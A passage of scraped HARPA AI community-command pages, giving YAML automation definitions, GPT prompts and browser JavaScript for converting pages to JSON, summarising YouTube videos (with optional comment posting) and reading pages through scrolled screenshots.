/```hrp-text\s[^`]*?```/gm, replacement: ""}\ \ \ ];\ \ let result = gpt;\ for (const pattern of patterns) {\ result = result.replace(pattern.regex, pattern.replacement);\ }\ return result;\ \ param: result\ timeout: 15000\ args: gpt\ - type: export\ what: param\ filename: harpa-lecture-summary.md\ param: result\ - type: say\ message: '{{result}}'\ \ Notice: Please read before using\ \ This automation command is created by a community member. HARPA AI team does not audit community commands.\ \ Please review the command carefully and only install if you trust the creator.\ \ Contact us\ \ Name \*\ \ Email \*\ \ Message \*\ \ SEND MESSAGE\ \ All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026\ \ Designed and engineered in Finland 🇫🇮\ \ [Home](https://harpa.ai/)\ [Use Cases](https://harpa.ai/cases)\ [Guides](https://harpa.ai/guides)\ [Privacy Policy](https://harpa.ai/privacy)\ [Terms of Service](https://harpa.ai/terms)\ \ [](https://twitter.com/HarpaAI)\ \ [](https://discord.gg/B9Evx82m4K)\ ![](https://harpa.ai/img/misc/footer-brand.svg)\ \ 7.8k\ \ CAN WE STORE COOKIES?\ \ Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy)\ \ ACCEPT ALL\ \ ONLY NECESSARY COOKIES --- # HARPA AI | Convert Page to JSON [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 📦  Convert Page to JSON ======================== Extract webpage data into structured and customizable JSON format. Results can be downloaded, sent via webhook, or used in other commands. ------------------------------------------------------------------------------------------------------------------------------------------ Created by **Lucas Guassu** Updated on **Oct 14, 2025 17:40** Installed **61 times** 3 SENDS HTTP REQUESTS How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - param: fields message: "Describe the fields that should be in the JSON and their content, e.g.:\n\n```\nurl - webpage URL,\ntitle - product title, \ndescription - a brief description of the product’s features.\n```\n\nOr send an example of the JSON file you would like to receive, e.g.:\n\n```\n{\n\t\"product\": \"Product name\",\n\t\"description\": \"Brief product description\",\n\t\"price\": 1000,\n\t\"url\": \"page url\"\n}\n```" vision: enabled: false mode: area send: true hint: '' type: ask options: null default: '' - prompt: >- You are a Data Research AI Agent. Your task is to extract data from a web page and respond with JSON as requested. Follow these instructions: - Analyze the web page and all the information needed to fill the requested JSON fields: {{fields}} - If I haven't described criteria for determining the information for corresponding fields, decide this independently based on your judgment. - Respond in {{language}}. - Be concise and to the point. - Respond with a JSON containing object (or objects) with fields. - Write nothing other than the JSON. - Wrap your JSON response in a code block. Example JSON response: { "field1": "Text", "field2": "Text", "field3": "Text", "field4": "Text" } Webpage URL: {{url}} Webpage Data: {{page}} JSON response: type: gpt param: json isolated: true - type: calc func: extract-json to: json param: json index: '' - to: g.json func: clone type: calc from: json - message: JSON is stored in **{{g.json}}** and can be used in other commands. type: say interpolate: false - param: action options: - value: done label: ✅ DONE - label: 📦 EXPORT value: export - label: 🔗 SEND VIA WEBHOOK value: webhook vision: enabled: false mode: area hint: '' send: true type: ask message: '' default: '' optionsInvalid: false - condition: '{{action}} = done' type: stop - what: param condition: '{{action}} = export' type: export param: json - steps: - message: 'Please provide the Webhook URL:' vision: enabled: false mode: area hint: '' send: true param: webhook type: ask options: null default: '' - type: request url: '{{webhook}}' method: auto body: '{{json}}' auth: enabled: false username: '' password: '' headers: null param: '' bodyInvalid: true condition: '{{action}} = webhook' type: group Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | YouTube video summarya [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🎬  YouTube video summarya ========================== Save time on watching YouTube videos. Break down YouTube videos into parts and get key takeaways. ------------------------------------------------------------------------------------------------- Created by **Marcus Engelmann** Updated on **Jun 16, 2025 20:32** Installed **15 times** 3 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: calc func: call-internal-method method: yousummary.get-summary to: cache value: '{{gpt}}' - condition: '{{cache}} !=' type: say message: '{{cache}}' - condition: '{{cache}} =' message: Pick a summary format, or type custom instructions. type: say - type: ask param: format options: - label: 🗝️ TAKEAWAYS value: long - label: 🌿 NESTED value: detailed - label: 📢 CAPTIONS value: captions - label: 💬 TEXT value: text - label: 💡 IDEAS value: ideas - label: 🕵🏻‍♂️ FACT CHECK value: factCheck - value: $custom - message: Parsing video from the page… Long videos may take a few seconds to parse. type: say - param: tr value: '{{transcript}}' type: calc func: set format: '' - condition: '{{tr}} =' type: group steps: - message: >- 🚫 It looks as if the video has no text transcript, or I could not fetch it from the page. type: say - type: stop - condition: '{{format}} = long' type: gpt isolated: true chunkify: maxTokens: 5760 text: '{{tr}}' empty: > It looks as if the video has no text transcript, or I could not fetch it from the page. prompt: > I want you to only answer in {{language}}. You goal is to extract key takeaways of the next chunk of the transcript. Takeaways must be concise, informative and easy to read & understand. Each key takeaway should be a list item, of the following format: - [Timestamp URL] [Takeaway emoji] [Key takeaway in {{language}}] The timestamp should be presented in markdown URL format. The URL text indicates, and the address links to a specific time in the video, for example: - [00:00:05](https://youtube.com/Mde2q7GFCrw?t=5s) 🤖 ... - [00:02:18](https://youtube.com/Mde2q7GFCrw?t=138s) 🛡️ ... - [00:05:37](https://youtube.com/Mde2q7GFCrw?t=337s) 💼 ... Keep emoji relevant and unique to each key takeaway item. Do not use the same emoji for every takeaway. Do not render brackets. Do not prepend takeaway with "Key takeaway". [VIDEO TITLE]: {{desc}} [VIDEO URL]: {{url}} [TIMESTAMPED VIDEO TRANSCRIPT CHUNK]: {{chunk}} [KEY TAKEAWAYS LIST IN {{language}}]: param: gpt - condition: '{{format}} = ideas' steps: - chunkify: empty: > 🚫 It looks as if the video has no text transcript, or I could not fetch it from the page. maxTokens: 5760 text: '{{tr}}' prompt: > I want you to only answer in {{language}}. Your goal is to summarize the next section of a video transcript into up to 8 key points (or ideas). The key points should help me understand the main ideas and takeaways from the video section without watching the video. Follow these instructions: - The key ideas must be concise, informative, and easy to read & understand. - Each key idea should be a list item, and start with a dash. - Use relevant and unique emojis for each idea. - Avoid using the same emoji for multiple ideas. - Do not add any extra notes; I need only up to 8 key ideas from the [SUMMARY]. - Be concise and to the point. - Each key idea must have a unique emoji. - Do not repeat my prompt or instructions. - Do not include timecodes. - Do not render brackets. Follow the response format: - 🌆 Key idea 1 - 🕰️️ Key idea 2 - ⚡️️ Key idea 3 - ... [VIDEO TITLE]: {{desc}} [VIDEO URL]: {{url}} [TIMESTAMPED VIDEO TRANSCRIPT CHUNK]: {{chunk}} [UP TO 8 KEY POINTS IN {{language}}]: type: gpt isolated: true param: gpt - type: js code: |- return args.gpt .split('\n') .reduce((count, line) => line.trim().startsWith("- ") && ++count > 8 ? 2 : count, 0) > 0 ? 1 : 0; param: short silent: true args: gpt type: group - condition: '{{format}} = detailed' chunkify: maxTokens: 5760 text: '{{tr}}' empty: > It looks as if the video has no text transcript, or I could not fetch it from the page. prompt: > I want you to only answer in {{language}}. You goal is to divide the chunk of the transcript into sections of information with a common theme and note the beginning timestamp of each section. Each information block should not be less than 2 minutes, contain the timestamp of the beginning of the section, a textual description of the main content of the entire section, and 1 to 3 bullet points that elaborate on the main ideas of the entire section. Your response must be concise, informative and easy to read & understand. Use the specified format: - [Section beginning Timestamp URL] [Section emoji] [Section key takeaway in\ {{language}}] - Section key takeaway, - [Use as many bullet points for section key takeaways as you need]. Follow the required format, don't write anything extra, avoid generic phrases, and don't repeat my task. The timestamp should be presented in markdown URL format. The URL text indicates, and the address links to a specific time in the video, for example: - [00:00:05](https://youtube.com/Mde2q7GFCrw?t=5s) 🤖 ... - [00:02:18](https://youtube.com/Mde2q7GFCrw?t=138s) 🛡️ ... - [00:05:37](https://youtube.com/Mde2q7GFCrw?t=337s) 💼 ... Keep emoji relevant and unique to each section. Do not use the same emoji for every section. Do not render brackets. Do not prepend takeaway with "Key takeaway". [VIDEO TITLE]: {{desc}} [VIDEO URL]: {{url}} [TIMESTAMPED VIDEO TRANSCRIPT CHUNK]: {{chunk}} [TRANSCRIPT INFORMATION SECTIONS IN {{language}}]: type: gpt isolated: true param: gpt - condition: '{{format}} = text' chunkify: maxTokens: 5760 text: '{{tr}}' empty: > It looks as if the video has no text transcript, or I could not fetch it from the page. prompt: > I want you to only answer in {{language}}. You goal is to extract key takeaways of the next chunk of the transcript. Takeaways must be concise, informative and easy to read & understand: - [Timestamp URL] [Key takeaway in {{language}}] Do not render brackets. Do not prepend takeaway with "Key takeaway". The timestamp should be presented in markdown URL format. The URL text indicates, and the address links to a specific time in the video, for example: [00:15:49](https://youtube.com/Mde2q7GFCrw?t=949s) [VIDEO TITLE]: {{desc}} [VIDEO URL]: {{url}} [TIMESTAMPED VIDEO TRANSCRIPT CHUNK]: {{chunk}} [KEY TAKEAWAYS LIST IN {{language}}]: type: gpt isolated: true param: gpt - condition: '{{format}} = captions' chunkify: maxTokens: 5760 text: '{{tr}}' empty: > It looks as if the video has no text transcript, or I could not fetch it from the page. prompt: > I want you to only answer in {{language}}. You goal is to extract short 3 words key takeaways of the next chunk of the transcript. Takeaways must be concise, informative and easy to read & understand: - [Timestamp URL] [Short 3 words key takeaway in {{language}}] Each key point should capture the main idea of the video segment. Your list of key takeaways should be short and to the point. Do not render brackets. Do not prepend takeaway with "Key takeaway". The timestamp should be presented in markdown URL format. The URL text indicates, and the address links to a specific time in the video, for example: [00:15:49](https://youtube.com/Mde2q7GFCrw?t=949s) [VIDEO TITLE]: {{desc}} [VIDEO URL]: {{url}} [TIMESTAMPED VIDEO TRANSCRIPT CHUNK]: {{chunk}} [KEY TAKEAWAYS LIST IN {{language}}]: type: gpt isolated: true param: gpt - condition: '{{format}} = factCheck' label: FACT CHECK steps: - type: command name: Fact check inputs: [] - type: stop type: group - condition: '{{format-option}} = $custom' chunkify: maxTokens: 5760 text: '{{tr}}' empty: > It looks as if the video has no text transcript, or I could not fetch it from the page. prompt: > I want you to only answer in {{language}}. Please read the part of a video transcript and perform the instructions I give you below. If instructions are not specified or unclear, simply summarize the transcript for me in a single paragraph. [VIDEO TITLE]: {{desc}} [VIDEO URL]: {{url}} [TIMESTAMPED VIDEO TRANSCRIPT CHUNK]: {{chunk}} [INSTRUCTIONS]: {{format}} [RESULT IN {{language}}]: type: gpt isolated: true param: gpt - condition: '{{tr}} =' type: stop - condition: '{{format-option}} = $custom' type: stop - method: yousummary.submit-summary type: calc func: call-internal-method to: '' value: '{{gpt}}' - condition: '{{format}} != ideas' steps: - label: complete message: > ✅ Summary complete. Share summary to YT comments? Sharing recovers power message. param: share options: - label: 🎯️️️️ YES, ADD COMMENT value: 'yes' - label: 👻 REMOVE EMOJI value: no-emoji - label: ⬇️ SHORTEN value: shorten - label: 💡 MAIN IDEAS value: ideas - label: ⛔ NO value: 'no' type: ask type: group - condition: '{{short}} = 2' steps: - options: - label: 🎯️️️️ YES, ADD COMMENT value: 'yes' - label: 👻 REMOVE EMOJI value: no-emoji - label: ⬇️ SHORTEN value: shorten - label: 💡 MAIN IDEAS value: ideas - label: ⛔ NO value: 'no' type: ask label: complete message: > ✅ Summary complete. Share summary to YT comments? Sharing recovers power message. param: share type: group - condition: '{{short}} = 1' steps: - options: - label: 🎯️️️️ YES, ADD COMMENT value: 'yes' - label: 👻 REMOVE EMOJI value: no-emoji - label: ⬇️ SHORTEN value: shorten - label: ⛔ NO value: 'no' type: ask label: complete message: > ✅ Summary complete. Share summary to YT comments? Sharing recovers power message. param: share type: group - condition: '{{share}} = no' analytics: event: youtube-comment-summary value: false type: stop - condition: '{{share}} = no-emoji' steps: - func: remove-emojis type: calc from: gpt to: gpt - message: '{{gpt}}' type: say - type: jump to: complete type: group - condition: '{{share}} = shorten' steps: - prompt: > I want you to only answer in {{language}}. You goal is to shorten the takeaways summary of the complete youtube video transcript by ~50%. You can do so by dropping least important key takeaways, by combining key takeaways into one, by shortening the text of each takeaway, in any combination. Please keep the format: shortened summary should be a list of key takeaways, just as the input summary, and include timestamp URLs and emojis: - [Timestamp URL] [Takeaway emoji] [Key takeaway in {{language}}] [SUMMARY]: {{gpt}} [SHORTENED SUMMARY IN {{language}}]: type: gpt param: gpt - type: jump to: complete type: group - condition: '{{share}} = ideas' steps: - chunkify: maxTokens: 5760 text: '{{gpt}}' prompt: > I want you to only answer in {{language}}. Your goal is to extract up to 8 key ideas from the video summary. The key ideas should help me get the most important information from the video section, without watching it. Follow these instructions: - The key ideas must be concise, informative, and easy to read & understand. - Each key idea should be a list item, and start with a dash. - Use relevant and unique emojis for each idea. - Avoid using the same emoji for multiple ideas. - Do not add any extra notes; I need only up to 8 key ideas from the [SUMMARY]. - Be concise and to the point. - Each key idea must have a unique emoji. - Do not repeat my prompt or instructions. - Do not include timecodes. - Do not render brackets. Follow the response format: - 🌆 Key idea 1 - 🕰️️ Key idea 2 - ⚡️️ Key idea 3 - ... [SUMMARY]: {{chunk}} [8 MAIN IDEAS IN {{language}}]: type: gpt isolated: true param: gpt - type: stop type: group - condition: '{{share}} = yes' steps: - func: youtube.comment-summary to: summary type: calc - condition: '{{summary}} =' steps: - message: ⛔ Summary is empty, nothing to paste. type: say - type: stop type: group - code: |- // check if comment box is found let cb = document.querySelector('ytd-comment-simplebox-renderer') if (cb) return true // wait for comment box to appear document.documentElement.scrollTop += window.innerHeight cb = await $harpa.waiter.wait( () => document.querySelector('ytd-comment-simplebox-renderer'), { timeout: 1500 }) return !!cb param: commentBoxFound analytics: event: youtube-comment-summary value: true type: js silent: true - condition: '{{commentBoxFound}} = false' steps: - message: >- ⛔ Could not find **Add a comment** button. Here is the entire summary: ```markdown {{summary}} ``` type: say - type: stop type: group - type: click selectorType: ai selector: - $matches: - $tag: YT-FORMATTED-STRING - $role: textbox - $id: simplebox-placeholder - $class: style-scope - $class: ytd-comment-simplebox-renderer - $attribute: role=textbox - $attribute: tabindex=0 - $style: Roboto:14px:400:normal - $content: Add a comment… - $id: placeholder-area traverse: '0' - $id: simple-box traverse: '0:1:0' - $id: header traverse: '0:4:0:1:0' - $id: sections traverse: '0:0:4:0:1:0' - $id: comments traverse: '1:0:0:4:0:1:0' - $anchor: Sort by shift: '-136:51' - traverse: '-8:4:0:1:0' $text: Sort by min: 6 - $size: 1 item: null onFailure: skip showMore: false waitForIdle: false silent: true - type: paste text: '{{summary}}' selectorType: ai silent: true close: false - selector: - $matches: - $tag: SPAN - $role: text - $class: yt-core-attributed-string - $class: yt-core-attributed-string--white-space-no-wrap - $attribute: role=text - $style: Roboto:14px:500:normal - $content: Comment - $id: submit-button traverse: '0:0:0:0' - $id: buttons traverse: '1:0:0:0:0' - $id: footer traverse: '6:1:0:0:0:0' - $id: main traverse: '7:6:1:0:0:0:0' - $id: thumbnail-input-row traverse: '1:7:6:1:0:0:0:0' - $anchor: Cancel shift: '92:0' - traverse: '-5:1:0:0:0:0' $text: Cancel min: 7 - $size: 1 type: click selectorType: ai item: null showMore: false onFailure: skip waitForIdle: false silent: true - method: add-rate-us type: calc func: call-internal-method to: '' value: '{{gpt}}' type: group Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Full Page Screenshot Summary [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 📸  Full Page Screenshot Summary ================================ Photographs the entire page and lets the vision model actually look at it, so pictures, charts, diagrams and layout count as content instead of being lost the way a plain text extraction loses them. You choose how deep the walk should go and whether it starts at the top or at the current position, and the command then walks the page downwards one screen at a time, which is also what makes a lazy page load its next chunk, so loading and photographing are the same movement. Ten frames travel together in one vision request, and the walk stops by itself at the bottom or at the ceiling you picked. Before a single request is spent you see the exact number of frames and requests and can still stop. One question then asks whether the reading should follow any instructions of your own - a one to one rebuild with fonts and colours, text only without the pictures, anything you type - and whatever you type takes precedence over the format and is carried out on the finished record as well; skipping it reads the whole page in full detail, every word transcribed and every picture described. Every reading is verified: an empty segment is retried, then photographed again and read with a plainer prompt, and only then marked as a visible gap, so a failure is never a silent hole. The frame readings merge into one continuous record. When that record outgrows a single request it is never rewritten smaller: it is indexed into passages cut on frame seams, and you choose between sending every frame in one pass or letting each request draw only the passages it needs, selected by lexical search over that index and delivered with the frame every passage came from named beside it. Both are free. Under retrieval every answer carries frame citations, and every quote is then located in the record, restored to its exact wording, re-pointed at the passage it truly sits in, and dropped if it cannot be found, with numeric, negation and modal guards that catch a claim which kept the words and reversed the meaning. The record answers everything: a quick summary, a long-form or structured report, a visual analysis, a data extraction of every table and chart, a UI audit, a full markdown rebuild of the page, an inventory of links and actions, verbatim citations, a translation, an export, a handover to another command, or anything else you type into the same menu as a free instruction or question. PDFs are handled by page: the page count is read out of the viewer for free where possible, and every page is photographed in turn. Each finished segment reports itself with one compact progress line, so a long page is never a minute of silence. Everything is written in the output language chosen at the start. ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Created by **Morteza H.** Updated on **Aug 29, 10:14** Installed **57 times** 3 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - label: INITIALIZE RUN type: group steps: - label: RESET FRAME SERIES type: calc func: set param: shots value: '' format: '' - label: RESET CAPTURED COUNTER type: calc func: set param: capturedFrames value: '0' format: '' - label: RESET FRAME COUNT type: calc func: set param: shotCount value: '0' format: '' - label: RESET VISION RECORD type: calc func: set param: notes value: '' format: '' - label: RESET SEGMENT BUFFER type: calc func: set param: segmentNotes value: '' format: '' - label: RESET BATCH BUFFER type: calc func: set param: batchImages value: '' format: '' - label: RESET SEGMENT COUNTER type: calc func: set param: segment value: '0' format: '' - label: RESET FAILED SEGMENTS type: calc func: set param: failedSegments value: '0' format: '' - label: RESET ANSWER type: calc func: set param: gpt value: '' format: '' - label: RESET FOLLOW UP STATE type: calc func: set param: change value: '' format: '' - label: RESET REPAIR BUFFER type: calc func: set param: repairImages value: '' format: '' - label: RESET REPAIR MODE type: calc func: set param: repairMode value: 'no' format: '' - label: RESET CHROME VERDICT type: calc func: set param: chromeVerdict value: '' format: '' - label: RESET RAW READING type: calc func: set param: rawSegment value: '' format: '' - label: RESET SCOPE NOTE type: calc func: set param: scopeNote value: '' format: '' - label: RESET PROGRESS LINE type: calc func: set param: progress value: '' format: '' - label: RESET SCRATCH SLOT type: calc func: set param: scratch value: '' format: '' - label: RESET REPAIR COUNT type: calc func: set param: repairCount value: '' format: '' - label: RESET PROMPT PAYLOAD type: calc func: set param: payload value: '' format: '' - label: RESET PDF PAGE READ type: calc func: set param: pdfPageRead value: '' format: '' - label: RESET PDF PROBE type: calc func: set param: pdfProbe value: '' format: '' - label: RESET READING FOCUS type: calc func: set param: focusChoice value: '' format: '' - label: RESET FOCUS BRIEF type: calc func: set param: focus value: '' format: '' - label: RESET OUTPUT FORMAT type: calc func: set param: format value: '' format: '' - label: RESET HANDOVER SLOT type: calc func: set param: handoff value: '' format: '' - label: RESET CAPTURE STATE type: calc func: set param: capture value: '' format: '' - label: RESET THE PASSAGE INDEX type: calc func: set param: passages value: '' format: '' - label: RESET THE EVIDENCE SLOT type: calc func: set param: evidence value: '' format: '' - label: RESET THE SELECTION type: calc func: set param: selection value: '' format: '' - label: RESET THE RETRIEVAL QUERY type: calc func: set param: query value: '' format: '' - label: RESET THE CITATION CHECK type: calc func: set param: citationCheck value: '' format: '' - label: RESET THE CITATION RULE type: calc func: set param: citationRule value: '' format: '' - label: RESET THE PENDING ANSWER type: calc func: set param: pendingAnswer value: '' format: '' - label: DEFAULT TO THE WHOLE RECORD type: calc func: set param: method value: full format: '' - label: RESET THE RECORD SIZE type: calc func: set param: recordChars value: '' format: '' - label: RESET THE PASSAGE COUNT type: calc func: set param: passageCount value: '' format: '' - label: RESET THE FRAME COUNT type: calc func: set param: frameCount value: '' format: '' - label: IMAGES PER GPT REQUEST type: calc func: set param: batchSize value: '10' format: '' - label: FRAME CEILING type: calc func: set param: maxShots value: '300' format: '' - label: INITIAL SETTLE DELAY type: calc func: set param: settleDelay value: '220' format: '' - label: MILLISECONDS BETWEEN FRAMES type: calc func: set param: captureInterval value: '520' format: '' - label: LAZY LOAD GRACE PERIOD type: calc func: set param: growWait value: '900' format: '' - label: DEFAULT START MODE type: calc func: set param: startMode value: top format: '' - label: DEFAULT PDF URL type: calc func: set param: pdfUrl value: '{{url}}' format: '' - label: CONFIGURE CAPTURE SCOPE type: group steps: - label: SELECT CAPTURE SCOPE type: ask message: >- How deep should this page be read? One frame is one screenshot of one screen; between two frames the page scrolls down by exactly one screen, and ten frames are read in one vision request. The number is only a ceiling — the walk stops on its own at the bottom of the page. param: scopeChoice options: - label: 🔭 300 FRAMES · 299 scrolls · up to 30 requests · the deepest walk value: '300' - label: >- 📚 100 FRAMES · 99 scrolls · up to 10 requests · docs and long threads value: '100' - label: 📄 50 FRAMES · 49 scrolls · up to 5 requests · a normal article value: '50' - label: 👀 20 FRAMES · 19 scrolls · up to 2 requests · a look at the top value: '20' - value: $custom default: '300' vision: enabled: false mode: area hint: '' send: true optionsInvalid: false - label: NORMALISE CAPTURE SCOPE type: js args: scopeChoice code: >- // FULL PAGE VISION · SCOPE // Turns the chosen scope into the three numbers the run is actually made of: how many // screenshots may be taken, how many scroll steps that is, and how many vision requests // they can cost at ten images per request. Free text is accepted and clamped, so a // typed "1000" becomes the hard ceiling of 300 instead of an impossible plan. const HARD_MAX = 300; const SIZE = 10; const raw = String(args.scopeChoice == null ? '' : args.scopeChoice); const digits = raw.match(/\d+/); let frames = digits ? Number(digits[0]) : 300; if (!isFinite(frames) || frames < 1) frames = 300; frames = Math.min(HARD_MAX, Math.max(1, Math.round(frames))); return { frames: frames, scrolls: Math.max(0, frames - 1), requests: Math.ceil(frames / SIZE), ceiling: HARD_MAX }; param: scope timeout: 30000 onFailure: '' silent: true - label: APPLY FRAME CEILING type: calc func: set param: maxShots value: '{{scope.frames}}' format: '' - label: NOTE THE CEILING type: calc func: set param: scopeNote value: ceiling {{scope.frames}} frames · max {{scope.requests}} requests format: '' - label: CONFIGURE START POINT type: group steps: - label: SELECT START POINT type: ask message: Where should the walk begin? param: startMode options: - label: ⬆️ TOP · photograph the page from the very beginning value: top - label: 📍 HERE · start at the current scroll position and walk down value: here default: top vision: enabled: false mode: area hint: '' send: true optionsInvalid: false - condition: '{{startMode}} = here' label: NOTE PARTIAL WALK type: say message: 📍 Starting at the current position — everything above it stays unread. - label: CONFIGURE OUTPUT LANGUAGE type: group steps: - label: SELECT OUTPUT LANGUAGE type: ask message: In which language should every answer be written? param: languageChoice options: - label: 🔤 MATCH PAGE · answer in the language of the page itself value: matchPage - label: 🇩🇪 GERMAN · Deutsch value: German - label: 🇬🇧 ENGLISH · English value: English - label: 🇪🇸 SPANISH · Español value: Spanish - label: 🇫🇷 FRENCH · Français value: French - label: 🇸🇦 ARABIC · العربية value: Arabic - value: $custom default: matchPage vision: enabled: false mode: area hint: '' send: true optionsInvalid: false - label: APPLY SELECTED LANGUAGE type: calc func: set param: outputLanguage value: '{{languageChoice}}' format: '' - condition: '{{languageChoice}} = matchPage' label: MATCH THE PAGE LANGUAGE type: calc func: set param: outputLanguage value: >- the same language that the page itself is written in, as seen in the screenshots format: '' - label: DETECT SOURCE TYPE type: group steps: - label: MATCH PDF URL type: calc func: match param: url to: pdfMatch regex: /https?:\/\/[^\s]+\.pdf(\/[^\s]*)?|[^\s]+\/pdf\/[^\s]*/ - label: ASSUME WEB PAGE type: calc func: set param: sourceKind value: html format: '' - condition: '{{pdfMatch}}' label: SWITCH TO PDF type: calc func: set param: sourceKind value: pdf format: '' - condition: '{{pdfMatch}}' label: STORE PDF URL type: calc func: set param: pdfUrl value: '{{pdfMatch}}' format: '' - condition: '{{sourceKind}} = html' label: HTML CAPTURE PIPELINE type: group steps: - label: ANNOUNCE HTML CAPTURE type: say message: 📸 Walking the page · {{scopeNote}} - label: PREPARE CAPTURE type: js args: settleDelay, startMode code: >- // FULL PAGE VISION · PREPARE CAPTURE // There is no separate preload pass: the capture walk itself scrolls the page one // viewport at a time, which is exactly what triggers lazy loading, so loading and // photographing happen in ONE sweep. This step neutralises animated scrolling, finds // the real scroll container, measures how much of the viewport is permanently covered // by pinned elements, parks the page at the chosen starting point and publishes the // capture state. // // STRIDE: exactly one screen, no artificial overlap. The only thing subtracted is the // height of elements that are pinned to the top or the bottom of the screen. Those // elements cover a strip of the viewport on every single frame, so content that lands // underneath them would never be photographed at all. Subtracting their height is not // overlap, it is the correction that makes an exact one-screen step actually exact. // // Nothing in here is allowed to throw. Every failure is reported as data. function sleep(ms) { return new Promise(function (r) { setTimeout(r, ms); }); } function killSmoothScrolling() { // A page level `scroll-behavior: smooth` animates even behavior:'auto' and would // leave every frame mid transition. Override it for the whole run. try { if (document.getElementById('__fpv_no_smooth')) return; const style = document.createElement('style'); style.id = '__fpv_no_smooth'; style.textContent = 'html,body,:root,*{scroll-behavior:auto !important}'; (document.head || document.documentElement).appendChild(style); } catch (e) { /* best effort */ } } function docScroller() { return document.scrollingElement || document.documentElement || document.body; } function findInnerScroller() { let best = null; let bestScore = 0; let nodes = []; try { nodes = document.querySelectorAll('div,main,section,article,ul,ol,table,form'); } catch (e) { return null; } const limit = Math.min(nodes.length, 6000); for (let i = 0; i < limit; i++) { const el = nodes[i]; let sh = 0; let ch = 0; try { sh = el.scrollHeight; ch = el.clientHeight; } catch (e) { continue; } if (sh <= ch + 200) continue; let rect; try { rect = el.getBoundingClientRect(); } catch (e) { continue; } if (rect.width < 240 || rect.height < 240) continue; let overflow = ''; try { overflow = window.getComputedStyle(el).overflowY; } catch (e) { overflow = ''; } if (!/(auto|scroll|overlay)/.test(overflow)) continue; const score = (sh - ch) * rect.width * rect.height; if (score > bestScore) { bestScore = score; best = el; } } return best; } function pickScroller() { const se = docScroller(); let sh = 0; let ch = 0; try { sh = Math.max(se.scrollHeight, document.body ? document.body.scrollHeight : 0); } catch (e) { sh = 0; } try { ch = se.clientHeight || window.innerHeight || 800; } catch (e) { ch = window.innerHeight || 800; } if (sh > ch + 120) return null; // null means: scroll the window return findInnerScroller(); // may still be null } // How many pixels at the top and at the bottom of the screen are permanently covered by // pinned bars: navigation, cookie banners, sticky footers, chat bubbles. Content that lands // underneath them would never be photographed, so their height has to come off the step. // // Measured by asking the browser what is actually painted at nine points along each edge. // The obvious alternative - walking every element and reading its computed style - costs // thousands of forced layouts on a long encyclopedia page and can take longer than the walk // itself. Eighteen 